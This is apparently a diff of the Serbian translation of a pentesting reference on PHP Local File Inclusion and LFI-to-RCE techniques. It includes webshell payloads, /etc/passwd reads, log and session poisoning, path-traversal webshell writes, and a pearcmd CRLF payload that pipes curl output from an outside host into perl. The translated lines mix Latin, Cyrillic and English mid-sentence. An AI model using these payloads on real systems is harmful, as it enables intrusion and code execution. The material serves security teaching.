+- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
+- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti da pomere druga slova u hex opseg).
+- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
+- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
+- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

-U postu je takođe leaked alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

-Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno korisno za exfiltrate the content of opened files:
+Ovaj wrapper omogućava pristup file descriptor-ima koje je proces otvorio. Potencijalno koristan za ekstrakciju sadržaja otvorenih fajlova:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Takođe možete koristiti **php://stdin, php://stdout i php://stderr** da pristupite **deskriptorima fajlova 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
+Možete takođe koristiti **php://stdin, php://stdout and php://stderr** да приступите **file descriptors 0, 1 and 2** редом (нисам сигуран како би ово могло бити корисно у нападу)

 ### zip:// and rar://

-Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu.\
-Da biste mogli zloupotrebiti rar protokol, **potrebno je da bude posebno aktiviran**.
+Otpremite Zip или Rar fajl са PHPShell-ом унутра и приступите му.\
+Да бисте могли злоупотребити rar protocol, он **мора бити посебно активиран**
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -332,20 +332,20 @@ Imajte na umu da je ovaj protokol ograničen php konfiguracijama **`allow_url_op

 ### expect://

-Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
+Expect mora biti aktiviran. Možete izvršavati kod koristeći ovo:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 ### input://

-Navedite svoj payload u POST parametrima:
+Navedite payload u POST parametrima:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://

-A `.phar` fajl može da se iskoristi za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje fajlova. PHP primer koda ispod pokazuje kreiranje `.phar` fajla:
+`.phar` fajl se može iskoristiti za izvršavanje PHP code kada web aplikacija koristi funkcije kao što je `include` za učitavanje fajlova. Sledeći PHP code snippet prikazuje kreiranje `.phar` fajla:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
 $phar->stopBuffering();
 ```
-Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu:
+Da biste kompajlirali `.phar` fajl, treba izvršiti sledeću komandu:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
+Pri izvršenju biće kreiran fajl naziva `test.phar`, koji bi potencijalno mogao biti iskorišćen za exploit Local File Inclusion (LFI) ranjivosti.

-In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
+U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda u njemu, preko funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()`, može se pokušati eksploatisati ranjivost deserializacije. Ova ranjivost je povezana sa čitanjem fajlova koristeći `phar` protokol.

-For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
+Za detaljno razumevanje iskorišćavanja ranjivosti deserializacije u kontekstu `.phar` fajlova, pogledajte dokument povezan ispod:

 [Phar Deserialization Exploitation Guide](phar-deserialization.md)

@ -373,32 +373,32 @@ phar-deserialization.md

 ### CVE-2024-2961

-Bilo je moguće zloupotrebiti **bilo koje proizvoljno čitanje fajla iz PHP-a koje podržava php filters** da bi se dobio RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Veoma kratak rezime: iskorišćen je **3 byte overflow** u PHP heap-u da bi se **alter the chain of free chunks** određene veličine kako bi se moglo **write anything in any address**, pa je dodat hook koji poziva **`system`**.\
-Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.
+Bilo je moguće zloupotrebiti **any arbitrary file read from PHP that supports php filters** da bi se dobio RCE. Detaljan opis može se [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Veoma kratak rezime: **3 byte overflow** u PHP heap-u je iskorišćen da bi se **alter the chain of free chunks** određene veličine kako bi bilo moguće **write anything in any address**, pa je dodat hook da pozove **`system`**.\
+Bilo je moguće alloc chunks specifičnih veličina zloupotrebom više php filtera.

 ### More protocols

-Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Proverite više mogućih[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Piše u memoriju ili u privremenu datoteku (not sure how this can be useful in a file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion napadu)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristup lokalnom fajl sistemu
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Pristup HTTP(s) URL-ovima
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Pristup FTP(s) URL-ovima
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni streamovi
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalazi putanje koje odgovaraju obrascu (It doesn't return nothing printable, so not really useful here)
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresioni Streams
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalaženje putanja koje odgovaraju šablonu (It doesn't return nothing printable, so not really useful here)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)

-## LFI via PHP's 'assert'
+## LFI via PHP funkcije 'assert'

-Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada se radi sa 'assert' funkcijom, koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži directory traversal karaktere kao što su ".." proverava, ali nije pravilno očišćen.
+Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. To je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije ispravno sanitizovan.

-For example, PHP code might be designed to prevent directory traversal like so:
+Na primer, PHP kod može biti dizajniran da spreči directory traversal na sledeći način:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Iako je cilj da se spreči traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajlova, napadač bi mogao koristiti:
+Iako je ovo namenjeno da zaustavi traversal, ono nehotično stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao da upotrebi:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
@ -411,13 +411,13 @@ Važno je **URL-encode these payloads**.
 ## PHP Blind Path Traversal

 > [!WARNING]
-> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **putanju fajla** od **PHP funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) jer sadržaj nije prikazan.
+> Ova tehnika je relevantna u slučajevima gde vi **control** **file path** neke **PHP function** koja će **access a file**, ali nećete videti sadržaj fajla (npr. jednostavan poziv **`file()`**) jer sadržaj nije prikazan.

-U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da **exfiltrate the content of a file via an error oracle**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.

-Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla postao toliko **velik** da će **PHP funkcija koja otvara** fajl pokrenuti **error**.
+Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla postao toliko **big** da će **PHP function** koja otvara fajl izazvati **error**.

-Zatim, za leak prvog karaktera, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se postavili drugi karakteri na početak i izazvao leak.
+Zatim, da bi se leak the first char, koristi se filter `dechunk` zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri `convert.iconv.UCS-4.UCS-4LE` i `convert.iconv.UTF16.UTF-16BE` da bi se postavili ostali chars na početak i leak them.

 **Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

@ -427,22 +427,22 @@ Za tehničke detalje pogledajte pomenuti post!

 ### Arbitrary File Write via Path Traversal (Webshell RCE)

-Kada server-side kod koji prihvata/otpremi fajlove gradi destinacionu putanju koristeći podatke pod kontrolom korisnika (npr. filename ili URL) bez canonicalising i validacije, `..` segmenti i apsolutne putanje mogu pobeći iz nameravane direktorijuma i prouzrokovati arbitrary file write. Ako možete smestiti payload u web-exposed direktorijum, obično dobijete unauthenticated RCE tako što ubacite webshell.
+Kada server-side kod koji prima/uploaduje fajlove gradi destinacionu putanju koristeći user-controlled podatke (npr. filename ili URL) bez canonicalising i validacije, `..` segments i apsolutne putanje mogu pobjeći iz predviđenog direktorijuma i prouzrokovati arbitrary file write. Ako možete smestiti payload u direktorijum izložen webu, obično dobijate unauthenticated RCE tako što ubacite webshell.

-Typical exploitation workflow:
- Identifikujte write primitive u endpointu ili background workeru koji prihvata putanju/ime fajla i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
+Tipičan workflow eksploatacije:
+- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
 - Odredite web-exposed direktorijume. Uobičajeni primeri:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Napravite traversal putanju koja izlazi iz predviđenog direktorijuma za skladištenje u webroot, i uključite sadržaj vašeg webshell-a.
- Posetite ubačeni payload i izvršite komande.
+- Sastavite traversal putanju koja izlazi iz predviđenog storage direktorijuma u webroot i uključite sadržaj vašeg webshell-a.
+- Otvorite postavljeni payload u browseru i izvršavajte komande.

 Napomene:
- Usluga koja vrši upis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
- Na Java stackovima, ovi upisi fajlova se često implementiraju prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni propust.
+- Vulnerable servis koji obavlja upis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
+- Na Java stackovima, ovi file write-ovi su često implementirani prostom `File`/`Paths` konkatenacijom. Lack of canonicalisation/allow-listing je suštinski flaw.

-Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
+Generički XML/JMF-style primer (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@ -466,10 +466,10 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Hardening that defeats this class of bugs:
- Resolvuј do kanonske putanje i osiguraj da je potomak baze direktorijuma na listi dozvoljenih.
- Odbaci svaku putanju koja sadrži `..`, apsolutne root putanje, ili drive letters; preferiraj generisane nazive fajlova.
- Pokreni proces za upis kao nalog sa niskim privilegijama i odvoji direktorijume za pisanje od direktorijuma koji se služe.
+Mere za hardening koje onemogućavaju ovu klasu propusta:
+- Rezolvirajte na kanonički put i osigurajte da je on potomak allow-listed base directory.
+- Odbijajte sve putanje koje sadrže `..`, apsolutne root-ove, ili drive letters; koristite generisana imena fajlova.
+- Pokrenite writer pod nalogom sa niskim privilegijama i segregirajte direktorijume za pisanje od served roots.

 ## Remote File Inclusion

@ -501,37 +501,37 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin

 ### Putem e-pošte

-**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite mail korisnika putem puta kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
+**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da izvršite include mejla korisnika koristeći put kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**

-### Putem /proc/\*/fd/\*
+### Putem /proc/*/fd/*

-1. Otpremite mnogo shells (na primer : 100)
-2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), pri čemu je $PID = PID procesa (može se brute-force-ovati) a $FD je file descriptor (može se brute-force-ovati takođe)
+1. Upload a lot of shells (na primer: 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID = PID procesa (može se brute-force-ovati) i $FD = file descriptor (takođe se može brute-force-ovati)

 ### Putem /proc/self/environ

-Poput log fajla, pošaljite payload u User-Agent; biće reflektovano unutar /proc/self/environ fajla
+Slično log fajlu, pošaljite payload u User-Agent; biće reflektovano unutar fajla /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Putem upload
+### Putem otpremanja

-Ako možete uploadovati fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
+Ako možete otpremiti fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>` ).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Da bi datoteka bila čitljiva, najbolje je ubaciti u metadata slika/doc/pdf
+Da bi fajl ostao čitljiv najbolje je ubaciti u metapodatke slika/doc/pdf

-### Putem ZIP file upload
+### Putem ZIP uploada fajla

-Otpremite ZIP datoteku koja sadrži kompresovani PHP shell i pristupite:
+Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Putem PHP sessions
+### Preko PHP sesija

-Proverite da li sajt koristi PHP Session (PHPSESSID)
+Proverite da li sajt koristi PHP sesiju (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -545,7 +545,7 @@ Postavite cookie na `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Iskoristite LFI da uključite PHP session file.
+Iskoristi LFI da uključiš PHP session datoteku
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
@ -555,22 +555,22 @@ Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc

 ### **Preko** **vsftpd** _**logova**_

-Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
+Logovi FTP servera vsftpd se nalaze u _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:

-1. Injektujte PHP payload u polje za korisničko ime tokom procesa prijave.
-2. Nakon injektovanja, iskoristite LFI da preuzmete logove servera iz _**/var/log/vsftpd.log**_.
+1. Injektujte PHP payload u polje za korisničko ime tokom procesa logovanja.
+2. Nakon injekcije, iskoristite LFI da preuzmete logove servera iz _**/var/log/vsftpd.log**_.

-### Preko php base64 filtera (koristeći base64)
+### Preko php base64 filter (using base64)

-Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter jednostavno ignoriše ne-base64 podatke. To možete iskoristiti da zaobiđete proveru ekstenzije fajla: ako obezbedite base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
+Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" base64-u. Evo primer payload-a:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Putem php filters (nije potreban fajl)
+### Putem php filters (no file needed)

-Ovaj [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php code** za include **bez potrebe da ga zapisujete** u fajl.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** u fajl.


 {{#ref}}
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md

 ### Putem segmentation fault

-**Otpremite** fajl koji će biti sačuvan kao **privremen** u `/tmp`, zatim u **istom zahtevu** izazovite **segmentation fault**, i onda taj **privremeni fajl neće biti obrisan** i možete ga potražiti.
+**Upload** fajl koji će biti smešten kao **temporary** u `/tmp`, zatim u **isti zahtev** izazovite **segmentation fault**, i onda **temporary file won't be deleted** i možete ga potražiti.


 {{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md

 ### Putem Nginx temp file storage

-Ako pronađete **Local File Inclusion** i **Nginx** radi ispred PHP, možda ćete moći dobiti RCE sledećom tehnikom:
+Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE sledećom tehnikom:


 {{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md

 ### Putem PHP_SESSION_UPLOAD_PROGRESS

-Ako pronađete **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako dostavite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete iskoristiti da dobijete RCE:
+Ako ste pronašli **Local File Inclusion** čak i ako **nemate session** i `session.auto_start` je `Off`. Ako u **multipart POST** podacima navedete **`PHP_SESSION_UPLOAD_PROGRESS`**, PHP će **enable the session for you**. Ovo možete zloupotrebiti da dobijete RCE:


 {{#ref}}
 via-php_session_upload_progress.md
 {{#endref}}

-### Putem temp file uploads u Windows
+### Putem temp file uploads in Windows

-Ako pronađete **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:
+Ako ste pronašli **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:


 {{#ref}}
@ -615,56 +615,56 @@ lfi2rce-via-temp-file-uploads.md

 ### Putem `pearcmd.php` + URL args

-Kao što je [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a jer je naznačeno da ako URL param nema `=`, treba da bude korišćen kao argument. Pogledajte i [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a zato što je naznačeno da ako URL param nema `=`, treba da bude korišćen kao argument. Vidi takođe [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).

-Sledeći zahtev kreira fajl u `/tmp/hello.php` sa sadržajem `<?=phpinfo()?>`:
+The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-U nastavku se zloupotrebljava CRLF vuln da bi se dobilo RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Sledeći primer zloupotrebljava CRLF vuln da bi dobio RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-### Putem phpinfo() (file_uploads = on)
+### Preko phpinfo() (file_uploads = on)

-Ako nađete **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
+Ako ste pronašli **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:


 {{#ref}}
 lfi2rce-via-phpinfo.md
 {{#endref}}

-### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### Preko compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Ako nađete **Local File Inclusion** i možete **exfiltrate the path** privremenog fajla ALI **server** proverava da li **fajl koji treba da se uključi ima PHP marks**, možete pokušati da **bypass that check** ovom **Race Condition**:
+Ako ste pronašli **Local File Inclusion** i možete **can exfiltrate the path** privremenog fajla, ALI **server** proverava da li **fajl koji se uključuje ima PHP marks**, možete pokušati da **bypass that check** pomoću ove **Race Condition**:


 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 {{#endref}}

-### Putem eternal waiting + bruteforce
+### Preko eternal waiting + bruteforce

-Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršenje, onda možete **brute force filenames during hours** da biste pronašli privremeni fajl:
+Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršavanje, možete onda **brute force filenames during hours** kako biste pronašli privremeni fajl:


 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}

-### Do Fatal Error-a
+### Do Fatal Error

-Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
+Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da bi se izazvala ta greška).

 **Ne znam koliko je ovo korisno, ali možda jeste.**\
-_Čak i ako prouzrokujete PHP Fatal Error, PHP privremeni fajlovi koji su otpremljeni se brišu._
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

-## Reference
+## References

 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +673,7 @@ _Čak i ako prouzrokujete PHP Fatal Error, PHP privremeni fajlovi koji su otprem
 - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
 - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
 - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

 {{#file}}
 EN-Local-File-Inclusion-1.pdf
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@ -1,39 +1,40 @@
-# LFI2RCE putem PHP filtera
+# LFI2RCE preko PHP Filters

 {{#include ../../banners/hacktricks-training.md}}

+
 ## Uvod

-Ovaj [**izveštaj**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filtere za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga pišete** u datoteku.
+Ovaj [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters to generate arbitrary content** kao izlaz. To u suštini znači da možete **generate arbitrary php code** za include **without needing to write** to fajla.

-Osnovna svrha skripte je da **generiše Base64** string na **početku** datoteke koji će biti **konačno dekodiran** i pružiti željeni payload koji će biti **interpretiran od strane `include`**.
+Cilj skripte je da **generiše Base64** string na **početku** fajla koji će biti **na kraju dekodiran** i obezbediti željeni payload koji će biti **interpreted by `include`**.

-Osnove za to su:
+Osnovni principi su:

 - `convert.iconv.UTF8.CSISO2022KR` će uvek dodati `\x1b$)C` na početak stringa
- `convert.base64-decode` je izuzetno tolerantna, u suštini će ignorisati sve karaktere koji nisu validni base64. Daje neke probleme ako naiđe na neočekivane "=" ali se oni mogu ukloniti pomoću filtera `convert.iconv.UTF8.UTF7`.
+- `convert.base64-decode` je ekstremno tolerantna, praktično će ignorisati sve karaktere koji nisu validan base64. Daje neke probleme ako nađe neočekivano "=", ali oni se mogu ukloniti pomoću `convert.iconv.UTF8.UTF7` filtera.

 Petlja za generisanje proizvoljnog sadržaja je:

-1. dodati `\x1b$)C` na naš string kao što je opisano iznad
-2. primeniti neku seriju iconv konverzija koja ostavlja naš inicijalni base64 netaknutim i konvertuje deo koji smo upravo dodali u neki string gde je jedini validni base64 karakter sledeći deo našeg base64-enkodiranog php koda
-3. base64-dekodirati i base64-enkodirati string koji će ukloniti bilo kakav otpad između
-4. Vratiti se na 1 ako base64 koji želimo da konstruiramo još nije završen
+1. dodati na početak našeg stringa `\x1b$)C` kao što je gore opisano
+2. primeniti neki lanac iconv konverzija koji ostavlja naš inicijalni base64 netaknutim i konvertuje deo koji smo upravo dodali u neki string gde je jedini validan base64 karakter sledeći deo našeg base64-ovanog php koda
+3. base64-dekodirati i zatim base64-enkodirati string, što će ukloniti sav garbage između
+4. vratiti se na 1 ako base64 koji želimo da konstrušemo još nije završen
 5. base64-dekodirati da dobijemo naš php kod

 > [!WARNING]
